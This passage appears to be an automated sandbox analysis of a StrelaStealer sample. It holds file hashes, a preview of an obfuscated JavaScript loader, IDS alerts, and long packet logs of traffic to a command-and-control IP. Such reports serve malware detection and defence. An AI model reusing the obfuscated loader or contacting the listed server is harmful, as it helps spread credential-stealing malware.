SHA512:	a5503babde3580b841caa8487a01da13bf2165f74ae1cee98163f9a85abf42c7d4bfc117e9adf256ae8cecf1e6b56d80a515a7c3c9e5ffa73671100985699d30
SSDEEP:	384:MxwkwsPMZWcg6zXLg06FFfv2/Jf/J2AMn4sWFXnnlC/DXG8p4TAxNgxh0EDJGHSo:Mxwkws0ZhgqLR6LZbVD
TLSH:	38923449EF00DB9A5CC107FD98C768852369C19CA958B8EF89063C8E1735E67F1F18B9
File Content Preview:	function nnbzdx(){zdrdc=[1031,3079,5127,4103,2055,3072];var jefushb=this[udfqd+bzwmwftq+hphvvak+qailkk+utugr+xwjgkmrtz+rxczcxsi+vlqqpg](this[pgacokpvb+djaarxn+wjpxxxd+hphvvak+pynwomw+udfqd+vlqqpg][okkhk+hphvvak+utugr+bzwmwftq+vlqqpg+utugr+rlhiqc+salznhfkr

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T09:04:11.484400+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T09:04:11.484400+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49711	193.143.1.205	80	TCP
2025-01-13T09:04:17.459365+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49738	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 09:04:10.660960913 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:10.665831089 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:10.665931940 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:10.668823004 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:10.673605919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484301090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484319925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484400034 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.484641075 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484658003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484673023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484728098 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.484765053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484780073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484793901 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484807968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484822035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.484822035 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.484844923 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.484867096 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.489228964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.530003071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.530015945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.530246019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.617234945 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617249966 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617259979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617270947 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617352962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.617423058 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.617542982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617583990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617641926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.617721081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617764950 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617783070 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617794991 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617805004 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.617815018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.617836952 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.618658066 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.618669987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.618680954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.618691921 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.618702888 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.618722916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.618753910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.619450092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.619461060 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.619472027 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.619481087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.619492054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.619520903 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.619537115 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.661158085 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.661195040 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.661233902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.661254883 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.661293983 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.662828922 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.662858963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.662914038 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.707731009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.707762003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.707853079 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.750461102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750507116 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750560999 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750595093 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750613928 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.750628948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750663042 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750714064 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750746012 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750780106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.750788927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.750788927 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.750808954 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.751446009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751482964 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751502037 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.751606941 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751638889 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751662016 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.751672029 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751724005 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.751794100 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751827002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751862049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751893997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751945019 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.751975060 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.751976967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752012014 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752039909 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.752047062 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752099991 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.752784967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752818108 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752851963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752870083 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.752939939 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752973080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.752995014 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.753005981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753037930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753056049 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.753072023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753120899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.753767967 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753818035 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753851891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753875971 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.753884077 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753916979 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753937960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.753951073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.753983974 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.754018068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.754035950 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.754069090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.754906893 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.754940033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.754971981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.754981995 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.755004883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.755038023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.755058050 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.755072117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.755120039 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.756318092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.756351948 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.756407976 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.795545101 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.795578003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.795656919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.798269987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.798304081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.798337936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.798470020 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.840534925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.840549946 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.840745926 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.866419077 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883091927 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883105993 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883116961 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883128881 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883140087 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883151054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883171082 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883182049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883193970 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883198023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883230925 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883240938 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883265018 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883291960 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883405924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883416891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883431911 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883443117 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883454084 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883459091 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883507013 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883557081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883573055 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883584023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883594990 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883608103 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883616924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883629084 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883666992 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883790970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883801937 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883811951 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883848906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883891106 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883902073 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883912086 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883923054 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883930922 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.883938074 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.883992910 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884135008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884147882 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884157896 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884169102 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884179115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884188890 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884207964 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884244919 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884280920 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884290934 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884325027 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884546995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884558916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884568930 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884584904 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884596109 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884605885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884608984 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884618044 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884629011 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884639025 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884649992 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884651899 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884676933 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884702921 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884727001 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884737968 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884748936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884758949 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884768963 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884778976 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884788036 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884790897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.884833097 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.884874105 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888119936 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888134956 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888148069 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888156891 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888185978 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888215065 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888278008 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888294935 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888305902 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888315916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888326883 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888336897 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888346910 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888355017 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888362885 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888374090 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888385057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888395071 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888401031 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888427019 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888624907 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888636112 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888648033 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888681889 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888695002 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888700962 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888709068 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888720036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888730049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888741016 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888751984 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.888760090 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888799906 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.888998985 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.889018059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.889071941 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.889079094 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.889091015 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.889101982 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.889123917 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.931013107 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.931029081 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.931040049 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.931046009 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.931173086 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.956984043 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.961957932 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.973575115 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973592997 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973609924 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973620892 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973630905 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973640919 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973653078 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973663092 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973674059 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973680973 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.973685980 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973705053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973716021 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973726034 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973738909 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973771095 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.973788023 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973788023 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:11.973800898 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973813057 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:11.973831892 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016346931 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016361952 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016379118 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016417980 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016421080 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016433954 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016453981 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016463995 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016467094 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016475916 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016485929 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016496897 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016503096 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016515970 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016524076 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016529083 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016540051 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016547918 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016551971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016566038 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016575098 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016586065 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016597033 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016598940 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016612053 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016623020 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016633987 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016638994 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016644955 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016664028 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016686916 CET	49711	80	192.168.2.6	193.143.1.205
Jan 13, 2025 09:04:12.016705036 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016716003 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016726971 CET	80	49711	193.143.1.205	192.168.2.6
Jan 13, 2025 09:04:12.016741991 CET	80	49711	193.143.1.205	192.168.2.6
